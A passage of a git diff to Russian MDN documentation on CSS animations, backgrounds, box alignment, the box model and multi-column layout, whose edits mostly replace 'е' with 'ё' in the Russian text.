кадры используют {{ cssxref("percentage") }}, чтобы определить стадию протекания анимации. 0% означает начало анимации, а 100% её конец. Так как эти значения очень важны, то для них придумали специальные слова: <code>from</code> и <code>to</code>.</p> <p>Вы также можете добавить ключевые кадры, характеризующие промежуточное состояние анимации.</p> <h2 id="Примеры">Примеры</h2> -<div class="note"><strong>Внимание:</strong> Примеры ниже не используют префиксов для CSS стилей . Webkit-браузеры и старые версии других браузеров нуждаются в указании префиксов в CSS стилях. Примеры, на которые Вы можете кликнуть в своем браузере, также содержат префиксы -webkit-.</div> +<div class="note"><strong>Внимание:</strong> Примеры ниже не используют префиксов для CSS стилей . Webkit-браузеры и старые версии других браузеров нуждаются в указании префиксов в CSS стилях. Примеры, на которые Вы можете кликнуть в своём браузере, также содержат префиксы -webkit-.</div> <h3 id="Скольжение_текста">Скольжение текста</h3> @@ -88,7 +88,7 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy <p>В элемент {{ HTMLElement("p") }} можно добавлять и другие пользовательские стили, чтобы как-то украсить его, однако здесь мы хотели продемонстрировать только эффект анимации.</p> -<p>Ключевые кадры определяются с помощью правила {{ cssxref("@keyframes") }}. В данном случае мы имеем только два ключевых кадра. Первый при 0% анимации (<code>from</code>). Здесь мы придаем элементу левый отступ в 100% и ширину в 300% (в три раза больше ширины родительского элемента). Это становится причиной того, что при первом кадре анимации заголовок {{ HTMLElement("p") }} находится за пределами правого края окна браузера .</p> +<p>Ключевые кадры определяются с помощью правила {{ cssxref("@keyframes") }}. В данном случае мы имеем только два ключевых кадра. Первый при 0% анимации (<code>from</code>). Здесь мы придаём элементу левый отступ в 100% и ширину в 300% (в три раза больше ширины родительского элемента). Это становится причиной того, что при первом кадре анимации заголовок {{ HTMLElement("p") }} находится за пределами правого края окна браузера .</p> <p>Второй ключевой кадр (to) определяет конец анимации, т.е (100%). Левый отступ устанавливается равным 0, а ширина 100%. Все выглядит так, будто заголовок {{ HTMLElement("p") }} приплывает к левому краю окна браузера.</p> @@ -97,7 +97,7 @@ at last the Caterpillar took the hookah out of its mouth, and addressed her in a languid, sleepy voice.</p> </pre> -<p>(Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)</p> +<p>(Обновите страницу, чтобы увидеть анимацию, или щёлкните по кнопке CodePen, чтобы воспроизвести её в окне CodePen)</p> <p>{{EmbedLiveSample("Скольжение_текста","100%","250")}}</p> @@ -143,7 +143,7 @@ her in a languid, sleepy voice.</p> <p>Это говорит браузеру о том, что при 75% выполнения анимации, шрифт должен быть 300%, а ширина 150%.</p> -<p>(Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)</p> +<p>(Обновите страницу, чтобы увидеть анимацию, или щёлкните по кнопке CodePen, чтобы воспроизвести её в окне CodePen)</p> <p>{{ EmbedLiveSample('Добавление_других_ключевых_кадров', '100%', '250', '', 'Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy') }}</p> @@ -233,9 +233,9 @@ her in a languid, sleepy voice.</p> <h3 id="Установка_нескольких_значений_свойствам_анимации">Установка нескольких значений свойствам анимации </h3> -<p>CSS свойство анимации может иметь несколько значений, разделенных запятыми. Это используется, чтобы указать несколько значений анимации в одном правиле и установить разную продолжительность, число повторений и т.д., для различных анимаций. Рассмотрим несколько примеров, чтобы увидеть разницу.</p> +<p>CSS свойство анимации может иметь несколько значений, разделённых запятыми. Это используется, чтобы указать несколько значений анимации в одном правиле и установить разную продолжительность, число повторений и т.д., для различных анимаций. Рассмотрим несколько примеров, чтобы увидеть разницу.</p> -<p>В первом примере у свойства имени анимации установлены три значения, у свойств продолжительности и количества повторений — по одному. В этом случае у всех трех анимаций одинаковая продолжительность и число повторений:</p> +<p>В первом примере у свойства имени анимации установлены три значения, у свойств продолжительности и количества повторений — по одному. В этом случае у всех трёх анимаций одинаковая продолжительность и число повторений:</p> <pre><code>animation-name: fadeInOut, moveLeft300px, bounce; animation-duration: 3s; @@ -261,7 +261,7 @@ animation-iteration-count: 2, 1;</code></pre> <h4 id="Добавление_CSS">Добавление CSS</h4> -<p>Начнем с добавления CSS. Анимация будет длиться 3 секунды, будет называться "slidein", будет повторяться 3 раза, а также значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">animation-direction</span></font> установлено <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">alternate</span></font>. В ключевых кадрах {{ cssxref("@keyframes") }} установлены такие значения ширины и левого отступа, что элемент будет скользить по экрану.</p> +<p>Начнём с добавления CSS. Анимация будет длиться 3 секунды, будет называться "slidein", будет повторяться 3 раза, а также значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">animation-direction</span></font> установлено <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">alternate</span></font>. В ключевых кадрах {{ cssxref("@keyframes") }} установлены такие значения ширины и левого отступа, что элемент будет скользить по экрану.</p> <pre class="brush: css">.slidein { -moz-animation-duration: 3s; @@ -316,7 +316,7 @@ animation-iteration-count: 2, 1;</code></pre> <h4 id="Добавление_обработчика_события_анимации">Добавление обработчика события анимации</h4> -<p>Будем использовать JavaScript для отслеживания всех трех возможных событий анимации. Следующий код конфигурирует обработчик; мы вызываем его при первой загрузке документа.</p> +<p>Будем использовать JavaScript для отслеживания всех трёх возможных событий анимации. Следующий код конфигурирует обработчик; мы вызываем его при первой загрузке документа.</p> <pre class="brush: js">var e = document.getElementById("watchme"); e.addEventListener("animationstart", listener, false); @@ -366,7 +366,7 @@ e.className = "slidein"; <h4 id="HTML">HTML</h4> -<p>Ради полноты картины приведем код разметки HTML. В разметке имеется тег <em>ul,</em> в который и выводится вся информация:</p> +<p>Ради полноты картины приведём код разметки HTML. В разметке имеется тег <em>ul,</em> в который и выводится вся информация:</p> <pre class="brush: html"><body> <h1 id="watchme">Watch me move</h1> diff --git a/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html index dc2ba0d32f..a17cf60839 100644 --- a/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html +++ b/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html @@ -18,7 +18,7 @@ original_slug: Web/CSS/CSS_Background_and_Borders/Множественные_ф } </pre> -<p>Вы можете сделать это сокращенным {{ cssxref("background") }} свойством и отдельными свойствами кроме {{ cssxref("background-color") }}. Таким образом следующие свойства могут быть определены в виде списка по одному на фон: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }},<code> </code>{{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.</p> +<p>Вы можете сделать это сокращённым {{ cssxref("background") }} свойством и отдельными свойствами кроме {{ cssxref("background-color") }}. Таким образом следующие свойства могут быть определены в виде списка по одному на фон: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }},<code> </code>{{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.</p> <h2 id="Пример">Пример</h2> @@ -45,7 +45,7 @@ original_slug: Web/CSS/CSS_Background_and_Borders/Множественные_ф <p>{{EmbedLiveSample('Example','100%','400')}}</p> -<p>Как вы можете видеть, логотип Firefox (первый в списке) расположен сверху, далее идет градиент и в самом низу фон с пузырями. Каждое последующее под-свойство ({{ cssxref("background-repeat") }} и {{ cssxref("background-position") }}) применяется к соответствующим фонам. Например первое значение свойства {{ cssxref("background-repeat") }} применяется к первому фону, и т.д.</p> +<p>Как вы можете видеть, логотип Firefox (первый в списке) расположен сверху, далее идёт градиент и в самом низу фон с пузырями. Каждое последующее под-свойство ({{ cssxref("background-repeat") }} и {{ cssxref("background-position") }}) применяется к соответствующим фонам. Например первое значение свойства {{ cssxref("background-repeat") }} применяется к первому фону, и т.д.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html b/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html index 3cd0e684d6..1969398293 100644 --- a/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html +++ b/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html @@ -20,7 +20,7 @@ original_slug: >- <pre class="syntaxbox">cursor: [<url>,]* ключевое_слово</pre> -<p>Это означает, что устанавливать можно любое количество URL-адресов (отделенных запятой), которые должны сопровождаться одним из ключевых слов, определенными спецификацией CSS, таких как <code>auto</code> или <code>pointer</code>.</p> +<p>Это означает, что устанавливать можно любое количество URL-адресов (отделённых запятой), которые должны сопровождаться одним из ключевых слов, определёнными спецификацией CSS, таких как <code>auto</code> или <code>pointer</code>.</p> <p>Например, такая последовательность значений допустима:</p> diff --git a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html index 3fe63cc24c..b59b71c446 100644 --- a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html +++ b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox --- <div>{{CSSRef}}</div> -<p><span class="tlid-translation translation" lang="ru"><span title="">Спецификация <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">Выравнивание Блоков</a> подробно описывает, как выравнивание работает при использовании различных способов разметки.</span> <span title="">На этой странице мы рассмотрим, как работает выравнивание блоков в контексте разметки flexbox.</span> <span title="">Поскольку эта страница предназначена для подробного описания вещей, относящихся к разметке flexbox и выравниванию блоков, ее следует читать вместе с основной страницей <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">выравнивания блоков</a>, в которой подробно описываются общие характеристики выравнивания блоков при использовании разных методах разметки.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Спецификация <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">Выравнивание Блоков</a> подробно описывает, как выравнивание работает при использовании различных способов разметки.</span> <span title="">На этой странице мы рассмотрим, как работает выравнивание блоков в контексте разметки flexbox.</span> <span title="">Поскольку эта страница предназначена для подробного описания вещей, относящихся к разметке flexbox и выравниванию блоков, её следует читать вместе с основной страницей <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Box_Alignment">выравнивания блоков</a>, в которой подробно описываются общие характеристики выравнивания блоков при использовании разных методах разметки.</span></span></p> <h2 id="Основной_пример">Основной пример</h2> @@ -25,7 +25,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox <ul> <li>Главная ось = направление согласно атрибуту <code>flex-direction</code> = выравнивание через атрибут <code>justify-content</code></li> - <li>Поперечная ось = проходит поперек главной оси = выравнивание через атрибут <code>align-content</code>, <code>align-self</code>/<code>align-items</code></li> + <li>Поперечная ось = проходит поперёк главной оси = выравнивание через атрибут <code>align-content</code>, <code>align-self</code>/<code>align-items</code></li> </ul> <h3 id="Выравнивание_по_Главной_Оси">Выравнивание по Главной Оси</h3> @@ -48,13 +48,13 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox <p><span class="tlid-translation translation" lang="ru"><span title="">Это означает, что атрибут <code>justify-self</code> нет имеет смысла использовать в разметке flexbox, поскольку мы всегда имеем дело с перемещением всей группы элементов.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Использовать атрибут <code>align-self</code> имеет смысл при работе с поперечной осью, так как потенциально есть дополнительное пространство во flex контейнере в этом измерении, один элемент которого может быть перемещен и в начало, и в конец.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Использовать атрибут <code>align-self</code> имеет смысл при работе с поперечной осью, так как потенциально есть дополнительное пространство во flex контейнере в этом измерении, один элемент которого может быть перемещён и в начало, и в конец.</span></span></p> <h2 id="Выравнивание_и_свойство_margin_auto">Выравнивание и свойство margin: auto</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">В разметке flexbox присутствует конкретный вариант использования, в котором, возможно, понадобится атрибут <code>justify-self</code>. Например, когда будет необходимо разделить набор flex элементов для создания отдельного шаблона навигации.</span> <span title="">В таком случае, можно использовать атрибут <code>margin</code> со значением <code>auto</code>.</span> <span title="">Атрибут с таким значением будет занимать все доступное пространство в своем измерении.</span> <span title="">Так работает центрирование блока со свойством <code>margin:auto</code>.</span> <span title="">Установив значение атрибутов <code>margin-left</code> и <code>margin-right</code> в значение <code>auto</code>, обе стороны нашего блока попытаются занять все доступное пространство и, таким образом, заставят двигаться блок в центр.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В разметке flexbox присутствует конкретный вариант использования, в котором, возможно, понадобится атрибут <code>justify-self</code>. Например, когда будет необходимо разделить набор flex элементов для создания отдельного шаблона навигации.</span> <span title="">В таком случае, можно использовать атрибут <code>margin</code> со значением <code>auto</code>.</span> <span title="">Атрибут с таким значением будет занимать все доступное пространство в своём измерении.</span> <span title="">Так работает центрирование блока со свойством <code>margin:auto</code>.</span> <span title="">Установив значение атрибутов <code>margin-left</code> и <code>margin-right</code> в значение <code>auto</code>, обе стороны нашего блока попытаются занять все доступное пространство и, таким образом, заставят двигаться блок в центр.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Установив значение атрибута{{cssxref ("margin")}} в <code>auto</code> для одного элемента в наборе с flex-элементами, выровненных с начала, можно создать разделенную навигацию.</span> <span title="">Это хорошо работает с разметкой flexbox и свойствами выравнивания.</span> <span title="">Как только для элемента со свойством <code>margin: auto</code> не остается свободного места, он станет вести себя также, как и все остальные flex элементы, и сократится в объеме, пытаясь уместиться в доступное пространство.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Установив значение атрибута{{cssxref ("margin")}} в <code>auto</code> для одного элемента в наборе с flex-элементами, выровненных с начала, можно создать разделённую навигацию.</span> <span title="">Это хорошо работает с разметкой flexbox и свойствами выравнивания.</span> <span title="">Как только для элемента со свойством <code>margin: auto</code> не остаётся свободного места, он станет вести себя также, как и все остальные flex элементы, и сократится в объёме, пытаясь уместиться в доступное пространство.</span></span></p> <p>{{EmbedGHLiveSample("css-examples/box-alignment/flexbox/auto-margins.html", '100%', 500)}}</p> @@ -70,7 +70,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox <p><span class="tlid-translation translation" lang="ru"><span title="">На главной оси атрибут <code>column-gap</code> будет создавать разрывы фиксированного размера между соседними элементами.</span><br> <br> - <span title="">На поперечной оси атрибут <code>row-gap</code> создает разрыв между соседними flex линиями, поэтому необходимо также установить атрибут <code>flex-wrap</code> в значение <code>wrap</code>, чтобы применить эффект.</span></span></p> + <span title="">На поперечной оси атрибут <code>row-gap</code> создаёт разрыв между соседними flex линиями, поэтому необходимо также установить атрибут <code>flex-wrap</code> в значение <code>wrap</code>, чтобы применить эффект.</span></span></p> <div class="note"> <p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Начиная с версии 63, Firefox является единственным браузером, в котором реализованы свойства разрыва в разметке Flexbox.</span></span></p> diff --git a/files/ru/web/css/css_box_alignment/index.html b/files/ru/web/css/css_box_alignment/index.html index af449e8cff..e094c861ea 100644 --- a/files/ru/web/css/css_box_alignment/index.html +++ b/files/ru/web/css/css_box_alignment/index.html @@ -23,7 +23,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <h3 id="Пример_выравнивания_раскладки_сетки_CSS">Пример выравнивания раскладки сетки CSS</h3> -<p>В этом примере с использованием Grid Layout, в контейнере сетки есть дополнительное пространство после прокладки фиксированных дорожек ширины на основной оси. Это пространство распределяется с помощью {{cssxref("justify-content")}}. На блочной (поперечной) оси выравнивание элементов внутри их областей сетки контролируется с помощью {{cssxref("align-items")}}. Первый элемент переопределяет значение элементов выравнивания, заданное в группе, путем установки {{cssxref("align-self")}} в центр.</p> +<p>В этом примере с использованием Grid Layout, в контейнере сетки есть дополнительное пространство после прокладки фиксированных дорожек ширины на основной оси. Это пространство распределяется с помощью {{cssxref("justify-content")}}. На блочной (поперечной) оси выравнивание элементов внутри их областей сетки контролируется с помощью {{cssxref("align-items")}}. Первый элемент переопределяет значение элементов выравнивания, заданное в группе, путём установки {{cssxref("align-self")}} в центр.</p> <p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-align-items.html", '100%', 500)}}</p> @@ -73,7 +73,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <p><strong>Контейнер выравнивания</strong> - это поле, в котором объект выравнивается внутри. Обычно это будет блок, содержащий объект выравнивания. Контейнер выравнивания может содержать один или несколько объектов выравнивания.</p> -<p>На приведенном ниже рисунке показан контейнер выравнивания с двумя объектами выравнивания внутри.</p> +<p>На приведённом ниже рисунке показан контейнер выравнивания с двумя объектами выравнивания внутри.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/15953/align-container-subjects.png" style="height: 170px; width: 248px;"></p> @@ -88,7 +88,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <ul> <li><strong>Positional alignment</strong> (выравнивание положения): указание положения объекта выравнивания относительно его контейнера выравнивания.</li> <li><strong>Baseline alignment</strong> (исходное выравнивание): эти ключевые слова определяют выравнивание как взаимосвязь между базовыми линиями нескольких объектов выравнивания в контексте выравнивания.</li> - <li><strong>Distributed alignment</strong> (распределенное выравнивание): эти ключевые слова определяют выравнивание как распределение пространства между объектами выравнивания.</li> + <li><strong>Distributed alignment</strong> (распределённое выравнивание): эти ключевые слова определяют выравнивание как распределение пространства между объектами выравнивания.</li> </ul> <h3 id="Значения_ключевых_слов_позиционирования">Значения ключевых слов позиционирования</h3> @@ -109,7 +109,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <p>Помимо физических значений <code>left</code> и <code>right</code>, которые относятся к физическим атрибутам экрана, все остальные значения являются логическими значениями и относятся к режиму записи содержимого.</p> -<p>Например, при работе в CSS Grid Layout, если вы работаете на русском языке и устанавливаете для него значение <code>justify-content</code> <code>start</code>, это приведет к перемещению элементов в встроенном измерении в начало, которое будет левым, поскольку предложения на русском начинаются слева. Если вы использовали арабский язык, право на левый язык, то одно и то же значение <code>start</code> приведет к тому, что элементы перемещаются вправо, так как предложения на арабском языке начинаются с правой стороны страницы.</p> +<p>Например, при работе в CSS Grid Layout, если вы работаете на русском языке и устанавливаете для него значение <code>justify-content</code> <code>start</code>, это приведёт к перемещению элементов в встроенном измерении в начало, которое будет левым, поскольку предложения на русском начинаются слева. Если вы использовали арабский язык, право на левый язык, то одно и то же значение <code>start</code> приведёт к тому, что элементы перемещаются вправо, так как предложения на арабском языке начинаются с правой стороны страницы.</p> <p>Оба этих примера имеют <code>justify-content: start</code>, однако местоположение начала изменяется в соответствии с режимом записи.</p> @@ -127,11 +127,11 @@ translation_of: Web/CSS/CSS_Box_Alignment <p>Исходное выравнивание содержимого - указание значения выравнивания базовой линии для <code>justify-content</code> или <code>align-content</code> - работает в методах макета, которые содержат элементы в строках. Объекты выравнивания выравниваются по базовой линии друг к другу, добавляя в них поля.</p> -<p>Исходная линия выравнивания сдвигает поля для выравнивания по базовой линии путем добавления поля за пределами полей. Self alignment - это использование <code>justify-self</code> или <code>align-self</code> или при настройке этих значений в виде группы с <code>justify-items</code> и <code>align-items</code>.</p> +<p>Исходная линия выравнивания сдвигает поля для выравнивания по базовой линии путём добавления поля за пределами полей. Self alignment - это использование <code>justify-self</code> или <code>align-self</code> или при настройке этих значений в виде группы с <code>justify-items</code> и <code>align-items</code>.</p> <h3 id="Distributed_alignment">Distributed alignment</h3> -<p><strong>Ключевые слова распределенного выравнивания</strong> используются с параметрами <code>align-content</code> и <code>justify-content</code>. Эти ключевые слова определяют, что происходит с каким-либо дополнительным пространством после отображения объекта. Значения следующие:</p> +<p><strong>Ключевые слова распределённого выравнивания</strong> используются с параметрами <code>align-content</code> и <code>justify-content</code>. Эти ключевые слова определяют, что происходит с каким-либо дополнительным пространством после отображения объекта. Значения следующие:</p> <ul> <li><code>stretch</code></li> @@ -154,7 +154,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <p><code>safe</code> и <code>unsafe</code> ключевые слова помогают определить поведение, когда объект выравнивания больше, чем контейнер выравнивания. Ключевое слово <code>safe</code> будет выравниваться для <code>start</code> в случае заданного выравнивания, вызывающего переполнение, целью которого является избежать «потери данных», когда часть элемента находится за пределами границ контейнера выравнивания и не может быть прокручена до.</p> -<p>Если вы укажете <code>unsafe</code>, выравнивание будет выполнено, даже если это приведет к такой потере данных.</p> +<p>Если вы укажете <code>unsafe</code>, выравнивание будет выполнено, даже если это приведёт к такой потере данных.</p> <h2 id="Пробелы_между_boxes">Пробелы между boxes</h2> @@ -168,7 +168,7 @@ translation_of: Web/CSS/CSS_Box_Alignment <li>{{cssxref("gap")}}</li> </ul> -<p>В приведенном ниже примере макет сетки использует сокращенную <code>gap</code>, чтобы установить разрыв <code>10px</code> между дорожками строк и <code>2em</code> разрыв между дорожками столбцов.</p> +<p>В приведённом ниже примере макет сетки использует сокращённую <code>gap</code>, чтобы установить разрыв <code>10px</code> между дорожками строк и <code>2em</code> разрыв между дорожками столбцов.</p> <p>{{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-gap.html", '100%', 500)}}</p> diff --git a/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html index 1ad4642062..cb2b41fbb1 100644 --- a/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html +++ b/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html @@ -16,19 +16,19 @@ original_slug: Web/CSS/box_model <p><img alt="CSS Box model" src="https://mdn.mozillademos.org/files/8685/boxmodel-(3).png" style="height: 384px; width: 548px;"></p> -<p><a name="content"><strong>Внутренняя область</strong> элемента (<strong>content area</strong>) содержит текст и другие элементы, расположенные внутри (<em>контент</em> или <em>содержимое</em>). У неё часто бывает фон, цвет или изображение (в таком порядке: фоновый цвет скрывается под непрозрачным изображением), и она находится внутри <em>content edge</em>; её размеры называются <em>ширина контента</em> (<em>content width</em> или <em>content-box width)</em>, и <em>высота контента</em> (<em>content height</em> или content-box height). Иногда еще говорят «внутренняя ширина/высота элемента»</a></p> +<p><a name="content"><strong>Внутренняя область</strong> элемента (<strong>content area</strong>) содержит текст и другие элементы, расположенные внутри (<em>контент</em> или <em>содержимое</em>). У неё часто бывает фон, цвет или изображение (в таком порядке: фоновый цвет скрывается под непрозрачным изображением), и она находится внутри <em>content edge</em>; её размеры называются <em>ширина контента</em> (<em>content width</em> или <em>content-box width)</em>, и <em>высота контента</em> (<em>content height</em> или content-box height). Иногда ещё говорят «внутренняя ширина/высота элемента»</a></p> -<p>По умолчанию, если CSS-свойство {{ cssxref("box-sizing") }} не задано, размер внутренней области с содержимым задается свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если же свойство {{ cssxref("box-sizing") }} задано, то оно определяет, для какой области указаны размеры.</p> +<p>По умолчанию, если CSS-свойство {{ cssxref("box-sizing") }} не задано, размер внутренней области с содержимым задаётся свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если же свойство {{ cssxref("box-sizing") }} задано, то оно определяет, для какой области указаны размеры.</p> <p><a name="padding">Поля элемента (<strong>padding area)</strong> — это пустая область, окружающая контент. Она может быть залита каким-то цветом, покрыта фоновый картинкой, а её границы называются края полей (<em>padding edge)</em>.</a></p> <p>Размеры полей задаются по отдельности с разных сторон свойствами {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} или общим свойством {{ cssxref("padding") }}.</p> -<p><a name="border">Область рамки (<strong>border area)</strong> окружает поля элемента, а ее граница называется края рамки (<em>border edge).</em> Ширина рамки задается отдельным свойством {{ cssxref("border-width") }} или в составе свойства {{ cssxref("border") }}. Размеры элемента с учетом полей и рамки иногда называют внешней шириной/высотой элемента.</a></p> +<p><a name="border">Область рамки (<strong>border area)</strong> окружает поля элемента, а её граница называется края рамки (<em>border edge).</em> Ширина рамки задаётся отдельным свойством {{ cssxref("border-width") }} или в составе свойства {{ cssxref("border") }}. Размеры элемента с учётом полей и рамки иногда называют внешней шириной/высотой элемента.</a></p> <p><a name="margin">Отступы (<strong>margin area)</strong> добавляют пустое пространство вокруг элемента и определяют расстояние до соседних элементов.</a></p> -<p>Величина отступов задается по отдельности в разных направлениях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} или общим свойством {{ cssxref("margin") }}.</p> +<p>Величина отступов задаётся по отдельности в разных направлениях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} или общим свойством {{ cssxref("margin") }}.</p> <p>Отступы двух соседних элементов, расположенных друг над другом или вложенных друг в друга, могут накладываться. Это называется схлопывание границ (<a href="/ru/docs/Web/CSS/margin_collapsing" title="ru/CSS/margin_collapsing">margin collapsing</a>). Схлопываются только вертикальные отступы.</p> diff --git a/files/ru/web/css/css_colors/color_picker_tool/index.html b/files/ru/web/css/css_colors/color_picker_tool/index.html index 499aa260fd..a148b4e9af 100644 --- a/files/ru/web/css/css_colors/color_picker_tool/index.html +++ b/files/ru/web/css/css_colors/color_picker_tool/index.html @@ -3212,7 +3212,7 @@ var ColorPickerTool = (function ColorPickerTool() { <p>{{CSSRef}}</p> -<p>Этот инструмент позволяет легко создавать, настраивать и экспериментировать с пользовательскими цветами для использования в интернете. Он также позволяет легко конвертировать цвета в различные форматы, поддерживаемые CSS, в том числе: шестнадцатеричный формат, RGB (красный / зеленый / синий) и HSL (Цветовой тон / Насыщенность / Яркость). Контроль над альфа-каналом (прозрачностью) поддерживается в форматах RGB (RGBA) и HSL (HSLA).</p> +<p>Этот инструмент позволяет легко создавать, настраивать и экспериментировать с пользовательскими цветами для использования в интернете. Он также позволяет легко конвертировать цвета в различные форматы, поддерживаемые CSS, в том числе: шестнадцатеричный формат, RGB (красный / зелёный / синий) и HSL (Цветовой тон / Насыщенность / Яркость). Контроль над альфа-каналом (прозрачностью) поддерживается в форматах RGB (RGBA) и HSL (HSLA).</p> <p>Каждый цвет во время настройки представлен во всех 3-х стандартных форматах CSS, и, кроме того, на основе текущего выбранного цвета генерируется палитра для HSL, HSV и альфа-канала. Кнопкой "пипетка" можно переключаться между HSL или HSV форматами.</p> diff --git a/files/ru/web/css/css_columns/using_multi-column_layouts/index.html b/files/ru/web/css/css_columns/using_multi-column_layouts/index.html index 7bab55db18..af886ff78f 100644 --- a/files/ru/web/css/css_columns/using_multi-column_layouts/index.html +++ b/files/ru/web/css/css_columns/using_multi-column_layouts/index.html @@ -6,7 +6,7 @@ original_slug: Web/Guide/CSS/Using_multi-column_layouts --- <p>{{CSSRef("CSS Multi-columns")}}</p> -<p><span class="seoSummary"><strong>CSS разметка для многих колонок</strong> расширяет <em>способ блочной разметки, </em>чтобы позволить легкое описание нескольких колонок текста.</span> Людям сложно читать текст, если строки слишком длинные; это занимает слишком много времени для глаз, чтобы перемещать взгляд с конца одной на начало следующей строки, и они забывают на какой строке находились. Поэтому, чтобы использовать большие дисплеи по максимуму, авторам следует ограничить ширину колонок текст расположенных бок о бок, как в газетах.</p> +<p><span class="seoSummary"><strong>CSS разметка для многих колонок</strong> расширяет <em>способ блочной разметки, </em>чтобы позволить лёгкое описание нескольких колонок текста.</span> Людям сложно читать текст, если строки слишком длинные; это занимает слишком много времени для глаз, чтобы перемещать взгляд с конца одной на начало следующей строки, и они забывают на какой строке находились. Поэтому, чтобы использовать большие дисплеи по максимуму, авторам следует ограничить ширину колонок текст расположенных бок о бок, как в газетах.</p> <p>К несчастью, это невозможно сделать с CSS и HTML без принудительного разбиения колонки в фиксированных позициях, или строго ограничить допустимую разметку в тексте, или использовать экстраординарный скрипт. Это ограничение снимается с помощью добавления новых CSS свойств, чтобы расширить традиционный блочный способ разметки.</p> diff --git a/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html index 3340d6cfae..61c6b3da9f 100644 --- a/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html +++ b/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html @@ -121,7 +121,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элем <p>Теперь, когда мы увидели, как работает выравнивание по перекрёстной оси, можно посмотреть на главную ось. Здесь нам доступно только одно свойство — <code>justify-content</code>. Это обусловлено тем, что с элементами на главной оси мы работаем только как с группой. Используя свойство <code>justify-content</code>, мы контролируем, что происходит со свободным пространством на главной оси, и требуется ли нам больше пространства, чем нужно для отображения наших элементов.</p> -<p>В нашем первом примере с использованием свойства <code>display: flex</code>, примененным к контейнеру, элементы отображаются как строка и выстраиваются в начале блока. Это обусловлено тем, что свойство <code>justify-content</code> имеет начальное значение <code>flex-start</code>. Все свободное место располагается в конце контейнера.</p> +<p>В нашем первом примере с 